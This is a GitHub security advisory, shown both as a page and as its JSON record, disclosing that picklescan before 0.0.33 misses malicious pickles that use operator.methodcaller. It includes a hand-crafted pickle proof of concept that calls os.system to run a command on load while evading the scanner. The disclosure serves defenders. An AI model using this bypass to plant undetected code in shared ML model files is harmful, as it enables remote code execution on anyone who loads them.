GHSA-x843-g5mx-g377
Vulnerability from github
Published
2025-12-29 20:03
Modified
2025-12-29 20:03
Summary
Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
Details

Summary

Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

  • First, the attacker crafts the payload by calling the operator.methodcaller function in method reduce.
  • Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

import pickle import pickletools opcode1 = b'''cbuiltins __import__ (Vos tRp0 0coperator methodcaller (Vsystem Vecho "pwned by operator.methodcaller" tR(g0 tR.''' pickletools.dis(opcode1) pickle.loads(opcode1) This PoC can't be easily created by pickle.dumps, therefore it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T20:03:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPicklescan uses `operator.methodcaller`, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the `operator.methodcaller` function in method `reduce`.\n- Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn\u0027t detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode1 = b\u0027\u0027\u0027cbuiltins\n__import__\n(Vos\ntRp0\n0coperator\nmethodcaller\n(Vsystem\nVecho \"pwned by operator.methodcaller\"\ntR(g0\ntR.\u0027\u0027\u0027\npickletools.dis(opcode1)\npickle.loads(opcode1)\n```\nThis PoC can\u0027t be easily created by pickle.dumps, therefore it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).",
  "id": "GHSA-x843-g5mx-g377",
  "modified": "2025-12-29T20:03:30Z",
  "published": "2025-12-29T20:03:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x843-g5mx-g377"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller"
}


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